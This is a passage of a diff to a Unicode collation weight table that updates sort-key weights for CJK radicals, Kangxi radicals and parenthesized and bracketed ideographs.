 2F11  ; [.FB40.0020.0004][.D200.0000.0000] # KANGXI RADICAL KNIFE
-2E88  ; [.FB40.0020.0004][.D200.0000.0000][.0000.010B.0004] # CJK RADICAL KNIFE ONE
+2E88  ; [.FB40.0020.0004][.D200.0000.0000][.0000.0110.0004] # CJK RADICAL KNIFE ONE
 2E89  ; [.FB40.0020.0004][.D202.0000.0000] # CJK RADICAL KNIFE TWO
 2F81E ; [.FB40.0020.0002][.D203.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F81E
 FA00  ; [.FB40.0020.0002][.D207.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA00
@@ -28711,7 +29331,7 @@
 2F12  ; [.FB40.0020.0004][.D29B.0000.0000] # KANGXI RADICAL POWER
 F99D  ; [.FB40.0020.0002][.D2A3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99D
 2F992 ; [.FB40.0020.0002][.D2B3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F992
-3238  ; [*0310.0020.0004][.FB40.0020.0004][.D2B4.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
+3238  ; [*0317.0020.0004][.FB40.0020.0004][.D2B4.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
 3298  ; [.FB40.0020.0006][.D2B4.0000.0000] # CIRCLED IDEOGRAPH LABOR
 FA76  ; [.FB40.0020.0002][.D2C7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA76
 2F825 ; [.FB40.0020.0002][.D2C7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F825
@@ -28718,7 +29338,7 @@
 FA33  ; [.FB40.0020.0002][.D2C9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA33
 2F826 ; [.FB40.0020.0002][.D2C9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F826
 F952  ; [.FB40.0020.0002][.D2D2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F952
-1F247 ; [*0372.0020.0004][.FB40.0020.0004][.D2DD.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
+1F247 ; [*0379.0020.0004][.FB40.0020.0004][.D2DD.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
 F92F  ; [.FB40.0020.0002][.D2DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F92F
 FA34  ; [.FB40.0020.0002][.D2E4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA34
 2F827 ; [.FB40.0020.0002][.D2E4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F827
@@ -28737,7 +29357,7 @@
 F9EB  ; [.FB40.0020.0002][.D33F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9EB
 2F17  ; [.FB40.0020.0004][.D341.0000.0000] # KANGXI RADICAL TEN
 3038  ; [.FB40.0020.0004][.D341.0000.0000] # HANGZHOU NUMERAL TEN
-3229  ; [*0310.0020.0004][.FB40.0020.0004][.D341.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
+3229  ; [*0317.0020.0004][.FB40.0020.0004][.D341.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
 3289  ; [.FB40.0020.0006][.D341.0000.0000] # CIRCLED IDEOGRAPH TEN
 3039  ; [.FB40.0020.0004][.D344.0000.0000] # HANGZHOU NUMERAL TWENTY
 303A  ; [.FB40.0020.0004][.D345.0000.0000] # HANGZHOU NUMERAL THIRTY
@@ -28744,13 +29364,13 @@
 2F82C ; [.FB40.0020.0002][.D349.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82C
 FA35  ; [.FB40.0020.0002][.D351.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA35
 2F82D ; [.FB40.0020.0002][.D351.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82D
-323F  ; [*0310.0020.0004][.FB40.0020.0004][.D354.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
+323F  ; [*0317.0020.0004][.FB40.0020.0004][.D354.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
 32AF  ; [.FB40.0020.0006][.D354.0000.0000] # CIRCLED IDEOGRAPH ALLIANCE
 2F82E ; [.FB40.0020.0002][.D35A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82E
 2F18  ; [.FB40.0020.0004][.D35C.0000.0000] # KANGXI RADICAL DIVINATION
-2E8A  ; [.FB40.0020.0004][.D35C.0000.0000][.0000.010B.0004] # CJK RADICAL DIVINATION
+2E8A  ; [.FB40.0020.0004][.D35C.0000.0000][.0000.0110.0004] # CJK RADICAL DIVINATION
 2F19  ; [.FB40.0020.0004][.D369.0000.0000] # KANGXI RADICAL SEAL
-2E8B  ; [.FB40.0020.0004][.D369.0000.0000][.0000.010B.0004] # CJK RADICAL SEAL
+2E8B  ; [.FB40.0020.0004][.D369.0000.0000][.0000.0110.0004] # CJK RADICAL SEAL
 329E  ; [.FB40.0020.0006][.D370.0000.0000] # CIRCLED IDEOGRAPH PRINT
 2F82F ; [.FB40.0020.0002][.D373.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82F
 F91C  ; [.FB40.0020.0002][.D375.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91C
@@ -28759,7 +29379,7 @@
 2F832 ; [.FB40.0020.0002][.D37F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F832
 2F833 ; [.FB40.0020.0002][.D37F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F833
 2F1A  ; [.FB40.0020.0004][.D382.0000.0000] # KANGXI RADICAL CLIFF
-2E81  ; [.FB40.0020.0004][.D382.0000.0000][.0000.010B.0004] # CJK RADICAL CLIFF
+2E81  ; [.FB40.0020.0004][.D382.0000.0000][.0000.0110.0004] # CJK RADICAL CLIFF
 2F1B  ; [.FB40.0020.0004][.D3B6.0000.0000] # KANGXI RADICAL PRIVATE
 F96B  ; [.FB40.0020.0002][.D3C3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F96B
 2F1C  ; [.FB40.0020.0004][.D3C8.0000.0000] # KANGXI RADICAL AGAIN
@@ -28775,7 +29395,7 @@
 1F22E ; [.FB40.0020.001C][.D3F3.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-53F3
 2F83B ; [.FB40.0020.0002][.D406.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83B
 1F234 ; [.FB40.0020.001C][.D408.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-5408
-3234  ; [*0310.0020.0004][.FB40.0020.0004][.D40D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
+3234  ; [*0317.0020.0004][.FB40.0020.0004][.D40D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
 3294  ; [.FB40.0020.0006][.D40D.0000.0000] # CIRCLED IDEOGRAPH NAME
 F9DE  ; [.FB40.0020.0002][.D40F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9DE
 F9ED  ; [.FB40.0020.0002][.D41D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9ED
@@ -28784,7 +29404,7 @@
 F980  ; [.FB40.0020.0002][.D442.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F980
 2F83E ; [.FB40.0020.0002][.D448.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83E
 2F83F ; [.FB40.0020.0002][.D468.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83F
-323A  ; [*0310.0020.0004][.FB40.0020.0004][.D47C.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
+323A  ; [*0317.0020.0004][.FB40.0020.0004][.D47C.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
 2F83C ; [.FB40.0020.0002][.D49E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83C
 2F840 ; [.FB40.0020.0002][.D4A2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F840
 F99E  ; [.FB40.0020.0002][.D4BD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99E
@@ -28813,7 +29433,7 @@
 FA38  ; [.FB40.0020.0002][.D668.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA38
 2F84F ; [.FB40.0020.0002][.D674.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F84F
 2F1E  ; [.FB40.0020.0004][.D6D7.0000.0000] # KANGXI RADICAL ENCLOSURE
-3223  ; [*0310.0020.0004][.FB40.0020.0004][.D6DB.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
+3223  ; [*0317.0020.0004][.FB40.0020.0004][.D6DB.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
 3283  ; [.FB40.0020.0006][.D6DB.0000.0000] # CIRCLED IDEOGRAPH FOUR
 3195  ; [.FB40.0020.0014][.D6DB.0000.0000] # IDEOGRAPHIC ANNOTATION FOUR MARK
 F9A9  ; [.FB40.0020.0002][.D6F9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9A9
@@ -28820,7 +29440,7 @@
 2F84B ; [.FB40.0020.0002][.D716.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F84B
 2F84D ; [.FB40.0020.0002][.D717.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F84D
 2F1F  ; [.FB40.0020.0004][.D71F.0000.0000] # KANGXI RADICAL EARTH
-322F  ; [*0310.0020.0004][.FB40.0020.0004][.D71F.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
+322F  ; [*0317.0020.0004][.FB40.0020.0004][.D71F.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
 328F  ; [.FB40.0020.0006][.D71F.0000.0000] # CIRCLED IDEOGRAPH EARTH
 319E  ; [.FB40.0020.0014][.D730.0000.0000] # IDEOGRAPHIC ANNOTATION EARTH MARK
 2F855 ; [.FB40.0020.0002][.D78B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F855
@@ -28876,11 +29496,11 @@
 2F86B ; [.FB40.0020.0002][.DB3E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F86B
 2F26  ; [.FB40.0020.0004][.DB50.0000.0000] # KANGXI RADICAL CHILD
 1F211 ; [.FB40.0020.001C][.DB57.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-5B57
-323B  ; [*0310.0020.0004][.FB40.0020.0004][.DB66.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
+323B  ; [*0317.0020.0004][.FB40.0020.0004][.DB66.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
 32AB  ; [.FB40.0020.0006][.DB66.0000.0000] # CIRCLED IDEOGRAPH STUDY
 2F27  ; [.FB40.0020.0004][.DB80.0000.0000] # KANGXI RADICAL ROOF
 FA04  ; [.FB40.0020.0002][.DB85.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA04
-1F243 ; [*0372.0020.0004][.FB40.0020.0004][.DB89.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
+1F243 ; [*0379.0020.0004][.FB40.0020.0004][.DB89.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
 32AA  ; [.FB40.0020.0006][.DB97.0000.0000] # CIRCLED IDEOGRAPH RELIGION
 2F86D ; [.FB40.0020.0002][.DBC3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F86D
 2F86E ; [.FB40.0020.0002][.DBD8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F86E
@@ -28893,14 +29513,14 @@
 2F872 ; [.FB40.0020.0002][.DBFF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F872
 2F873 ; [.FB40.0020.0002][.DC06.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F873
 2F29  ; [.FB40.0020.0004][.DC0F.0000.0000] # KANGXI RADICAL SMALL
-2E8C  ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.010B.0004] # CJK RADICAL SMALL ONE
-2E8D  ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.010C.0004] # CJK RADICAL SMALL TWO
+2E8C  ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.0110.0004] # CJK RADICAL SMALL ONE
+2E8D  ; [.FB40.0020.0004][.DC0F.0000.0000][.0000.0111.0004] # CJK RADICAL SMALL TWO
 2F875 ; [.FB40.0020.0002][.DC22.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F875
 2E90  ; [.FB40.0020.0004][.DC22.0000.0000] # CJK RADICAL LAME THREE
 2F2A  ; [.FB40.0020.0004][.DC22.0000.0000] # KANGXI RADICAL LAME
-2E8E  ; [.FB40.0020.0004][.DC22.0000.0000][.0000.010B.0004] # CJK RADICAL LAME ONE
+2E8E  ; [.FB40.0020.0004][.DC22.0000.0000][.0000.0110.0004] # CJK RADICAL LAME ONE
 2E8F  ; [.FB40.0020.0004][.DC23.0000.0000] # CJK RADICAL LAME TWO
-2E91  ; [.FB40.0020.0004][.DC23.0000.0000][.0000.010B.0004] # CJK RADICAL LAME FOUR
+2E91  ; [.FB40.0020.0004][.DC23.0000.0000][.0000.0110.0004] # CJK RADICAL LAME FOUR
 2F2B  ; [.FB40.0020.0004][.DC38.0000.0000] # KANGXI RADICAL CORPSE
 F9BD  ; [.FB40.0020.0002][.DC3F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9BD
 2F877 ; [.FB40.0020.0002][.DC60.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F877
@@ -28961,7 +29581,7 @@
 2F894 ; [.FB40.0020.0002][.DF22.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F894
 2F895 ; [.FB40.0020.0002][.DF22.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F895
 2F39  ; [.FB40.0020.0004][.DF50.0000.0000] # KANGXI RADICAL SNOUT
-2E95  ; [.FB40.0020.0004][.DF50.0000.0000][.0000.010B.0004] # CJK RADICAL SNOUT TWO
+2E95  ; [.FB40.0020.0004][.DF50.0000.0000][.0000.0110.0004] # CJK RADICAL SNOUT TWO
 2E94  ; [.FB40.0020.0004][.DF51.0000.0000] # CJK RADICAL SNOUT ONE
 2F874 ; [.FB40.0020.0002][.DF53.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F874
 2F3A  ; [.FB40.0020.0004][.DF61.0000.0000] # KANGXI RADICAL BRISTLE
@@ -28976,7 +29596,7 @@
 F966  ; [.FB40.0020.0002][.DFA9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F966
 FA85  ; [.FB40.0020.0002][.DFAD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA85
 2F3C  ; [.FB40.0020.0004][.DFC3.0000.0000] # KANGXI RADICAL HEART
-2E97  ; [.FB40.0020.0004][.DFC3.0000.0000][.0000.010B.0004] # CJK RADICAL HEART TWO
+2E97  ; [.FB40.0020.0004][.DFC3.0000.0000][.0000.0110.0004] # CJK RADICAL HEART TWO
 2E96  ; [.FB40.0020.0004][.DFC4.0000.0000] # CJK RADICAL HEART ONE
 2F89D ; [.FB40.0020.0002][.DFCD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F89D
 2F89E ; [.FB40.0020.0002][.DFD7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F89E
@@ -29024,7 +29644,7 @@
 2F3F  ; [.FB40.0020.0004][.E24B.0000.0000] # KANGXI RADICAL HAND
 1F210 ; [.FB40.0020.001C][.E24B.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-624B
 2E98  ; [.FB40.0020.0004][.E24C.0000.0000] # CJK RADICAL HAND
-1F245 ; [*0372.0020.0004][.FB40.0020.0004][.E253.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
+1F245 ; [*0379.0020.0004][.FB40.0020.0004][.E253.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
 1F231 ; [.FB40.0020.001C][.E253.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6253
 2F8B4 ; [.FB40.0020.0002][.E25D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8B4
 1F227 ; [.FB40.0020.001C][.E295.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6295
@@ -29062,7 +29682,7 @@
 FA41  ; [.FB40.0020.0002][.E54F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA41
 2F8C8 ; [.FB40.0020.0002][.E54F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8C8
 FA90  ; [.FB40.0020.0002][.E556.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA90
-1F248 ; [*0372.0020.0004][.FB40.0020.0004][.E557.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+1F248 ; [*0379.0020.0004][.FB40.0020.0004][.E557.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 2F8C9 ; [.FB40.0020.0002][.E56C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8C9
 F969  ; [.FB40.0020.0002][.E578.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F969
 2F42  ; [.FB40.0020.0004][.E587.0000.0000] # KANGXI RADICAL SCRIPT
@@ -29079,9 +29699,9 @@
 FA42  ; [.FB40.0020.0002][.E5E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA42
 2F8CB ; [.FB40.0020.0002][.E5E3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8CB
 2F47  ; [.FB40.0020.0004][.E5E5.0000.0000] # KANGXI RADICAL SUN
-3230  ; [*0310.0020.0004][.FB40.0020.0004][.E5E5.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
+3230  ; [*0317.0020.0004][.FB40.0020.0004][.E5E5.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
 3290  ; [.FB40.0020.0006][.E5E5.0000.0000] # CIRCLED IDEOGRAPH SUN
-2E9C  ; [.FB40.0020.0004][.E5E5.0000.0000][.0000.010B.0004] # CJK RADICAL SUN
+2E9C  ; [.FB40.0020.0004][.E5E5.0000.0000][.0000.0110.0004] # CJK RADICAL SUN
 337E  ; [.FB40.0020.001C][.E60E.0000.0000][.FB40.0020.001C][.ECBB.0000.0000] # SQUARE ERA NAME MEIZI
 F9E0  ; [.FB40.0020.0002][.E613.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E0
 1F219 ; [.FB40.0020.001C][.E620.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6620
@@ -29100,11 +29720,11 @@
 2F8CC ; [.FB40.0020.0002][.E6F8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8CC
 2F8D4 ; [.FB40.0020.0002][.E700.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D4
 2F49  ; [.FB40.0020.0004][.E708.0000.0000] # KANGXI RADICAL MOON
-322A  ; [*0310.0020.0004][.FB40.0020.0004][.E708.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
+322A  ; [*0317.0020.0004][.FB40.0020.0004][.E708.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
 328A  ; [.FB40.0020.0006][.E708.0000.0000] # CIRCLED IDEOGRAPH MOON
 1F237 ; [.FB40.0020.001C][.E708.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6708
-2E9D  ; [.FB40.0020.0004][.E708.0000.0000][.0000.010B.0004] # CJK RADICAL MOON
-3232  ; [*0310.0020.0004][.FB40.0020.0004][.E709.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
+2E9D  ; [.FB40.0020.0004][.E708.0000.0000][.0000.0110.0004] # CJK RADICAL MOON
+3232  ; [*0317.0020.0004][.FB40.0020.0004][.E709.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
 3292  ; [.FB40.0020.0006][.E709.0000.0000] # CIRCLED IDEOGRAPH HAVE
 1F236 ; [.FB40.0020.001C][.E709.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-6709
 F929  ; [.FB40.0020.0002][.E717.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F929
@@ -29114,9 +29734,9 @@
 2F8D9 ; [.FB40.0020.0002][.E71B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D9
 2F8DA ; [.FB40.0020.0002][.E721.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8DA
 2F4A  ; [.FB40.0020.0004][.E728.0000.0000] # KANGXI RADICAL TREE
-322D  ; [*0310.0020.0004][.FB40.0020.0004][.E728.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
+322D  ; [*0317.0020.0004][.FB40.0020.0004][.E728.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
 328D  ; [.FB40.0020.0006][.E728.0000.0000] # CIRCLED IDEOGRAPH WOOD
-1F240 ; [*0372.0020.0004][.FB40.0020.0004][.E72C.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
+1F240 ; [*0379.0020.0004][.FB40.0020.0004][.E72C.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
 F9E1  ; [.FB40.0020.0002][.E74E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E1
 2F8DC ; [.FB40.0020.0002][.E753.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8DC
 FA94  ; [.FB40.0020.0002][.E756.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA94
@@ -29128,7 +29748,7 @@
 2F8DF ; [.FB40.0020.0002][.E7FA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8DF
 F9DA  ; [.FB40.0020.0002][.E817.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9DA
 2F8E5 ; [.FB40.0020.0002][.E81F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8E5
-3231  ; [*0310.0020.0004][.FB40.0020.0004][.E82A.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
+3231  ; [*0317.0020.0004][.FB40.0020.0004][.E82A.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
 3291  ; [.FB40.0020.0006][.E82A.0000.0000] # CIRCLED IDEOGRAPH STOCK
 337F  ; [.FB40.0020.001C][.E82A.0000.0000][.FB40.0020.001C][.DF0F.0000.0000][.FB40.0020.001C][.CF1A.0000.0000][.FB40.0020.001C][.F93E.0000.0000] # SQUARE CORPORATION
 2F8E1 ; [.FB40.0020.0002][.E852.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8E1
@@ -29158,7 +29778,7 @@
 F98C  ; [.FB40.0020.0002][.EB77.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F98C
 FA95  ; [.FB40.0020.0002][.EB79.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA95
 2F4D  ; [.FB40.0020.0004][.EB79.0000.0000] # KANGXI RADICAL DEATH
-2E9E  ; [.FB40.0020.0004][.EB7A.0000.0000][.0000.010B.0004] # CJK RADICAL DEATH
+2E9E  ; [.FB40.0020.0004][.EB7A.0000.0000][.0000.0110.0004] # CJK RADICAL DEATH
 2F8F4 ; [.FB40.0020.0002][.EB9F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8F4
 F9A5  ; [.FB40.0020.0002][.EBAE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9A5
 2F4E  ; [.FB40.0020.0004][.EBB3.0000.0000] # KANGXI RADICAL WEAPON
@@ -29174,7 +29794,7 @@
 2EA0  ; [.FB40.0020.0004][.EC11.0000.0000] # CJK RADICAL CIVILIAN
 2F53  ; [.FB40.0020.0004][.EC14.0000.0000] # KANGXI RADICAL STEAM
 2F54  ; [.FB40.0020.0004][.EC34.0000.0000] # KANGXI RADICAL WATER
-322C  ; [*0310.0020.0004][.FB40.0020.0004][.EC34.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
+322C  ; [*0317.0020.0004][.FB40.0020.0004][.EC34.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
 328C  ; [.FB40.0020.0006][.EC34.0000.0000] # CIRCLED IDEOGRAPH WATER
 2EA1  ; [.FB40.0020.0004][.EC35.0000.0000] # CJK RADICAL WATER ONE
 2EA2  ; [.FB40.0020.0004][.EC3A.0000.0000] # CJK RADICAL WATER TWO
@@ -29230,7 +29850,7 @@
 2F913 ; [.FB40.0020.0002][.F039.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F913
 2F917 ; [.FB40.0020.0002][.F04A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F917
 2F55  ; [.FB40.0020.0004][.F06B.0000.0000] # KANGXI RADICAL FIRE
-322B  ; [*0310.0020.0004][.FB40.0020.0004][.F06B.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
+322B  ; [*0317.0020.0004][.FB40.0020.0004][.F06B.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
 328B  ; [.FB40.0020.0006][.F06B.0000.0000] # CIRCLED IDEOGRAPH FIRE
 2EA3  ; [.FB40.0020.0004][.F06C.0000.0000] # CJK RADICAL FIRE
 2F835 ; [.FB40.0020.0002][.F070.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F835
@@ -29238,7 +29858,7 @@
 2F918 ; [.FB40.0020.0002][.F07D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F918
 F9FB  ; [.FB40.0020.0002][.F099.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9FB
 2F91A ; [.FB40.0020.0002][.F0AD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F91A
-1F244 ; [*0372.0020.0004][.FB40.0020.0004][.F0B9.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
+1F244 ; [*0379.0020.0004][.FB40.0020.0004][.F0B9.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
 F99F  ; [.FB40.0020.0002][.F0C8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99F
 F916  ; [.FB40.0020.0002][.F0D9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F916
 1F21A ; [.FB40.0020.001C][.F121.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-7121
@@ -29255,7 +29875,7 @@
 2F56  ; [.FB40.0020.0004][.F22A.0000.0000] # KANGXI RADICAL CLAW
 FA49  ; [.FB40.0020.0002][.F22B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA49
 2EA4  ; [.FB40.0020.0004][.F22B.0000.0000] # CJK RADICAL PAW ONE
-2EA5  ; [.FB40.0020.0004][.F22B.0000.0000][.0000.010B.0004] # CJK RADICAL PAW TWO
+2EA5  ; [.FB40.0020.0004][.F22B.0000.0000][.0000.0110.0004] # CJK RADICAL PAW TWO
 FA9E  ; [.FB40.0020.0002][.F235.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA9E
 2F921 ; [.FB40.0020.0002][.F235.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F921
 2F57  ; [.FB40.0020.0004][.F236.0000.0000] # KANGXI RADICAL FATHER
@@ -29265,9 +29885,9 @@
 2F922 ; [.FB40.0020.0002][.F250.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F922
 2F5B  ; [.FB40.0020.0004][.F259.0000.0000] # KANGXI RADICAL FANG
 2F5C  ; [.FB40.0020.0004][.F25B.0000.0000] # KANGXI RADICAL COW
-2EA7  ; [.FB40.0020.0004][.F25B.0000.0000][.0000.010B.0004] # CJK RADICAL COW
+2EA7  ; [.FB40.0020.0004][.F25B.0000.0000][.0000.0110.0004] # CJK RADICAL COW
 F946  ; [.FB40.0020.0002][.F262.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F946
-3235  ; [*0310.0020.0004][.FB40.0020.0004][.F279.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
+3235  ; [*0317.0020.0004][.FB40.0020.0004][.F279.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
 3295  ; [.FB40.0020.0006][.F279.0000.0000] # CIRCLED IDEOGRAPH SPECIAL
 2F924 ; [.FB40.0020.0002][.F280.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F924
 2F925 ; [.FB40.0020.0002][.F295.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F925
@@ -29285,7 +29905,7 @@
 F9DB  ; [.FB40.0020.0002][.F387.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9DB
 2F5F  ; [.FB40.0020.0004][.F389.0000.0000] # KANGXI RADICAL JADE
 2F929 ; [.FB40.0020.0002][.F38B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F929
